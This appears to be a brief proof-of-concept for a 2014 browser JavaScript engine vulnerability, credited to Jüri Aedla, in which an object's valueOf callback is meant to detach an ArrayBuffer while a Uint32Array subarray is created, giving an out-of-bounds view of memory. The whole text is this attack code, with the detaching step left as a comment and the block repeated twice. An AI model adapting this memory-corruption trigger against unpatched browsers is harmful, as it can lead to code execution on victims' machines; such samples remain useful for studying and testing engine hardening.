- Date: Mar 2014
- Credit: Jüri Aedla
var array_buffer = new ArrayBuffer(4000);
var u32arr = new Uint32Array(array_buffer);
var end = {
valueOf: function() {
/* neuter buffer */
return 3000;
}
};
var oob = u32arr.subarray(0, end);
var array_buffer = new ArrayBuffer(4000);
var u32arr = new Uint32Array(array_buffer);
var end = {
valueOf: function() {
/* neuter buffer */
return 3000;
}
};
var oob = u32arr.subarray(0, end);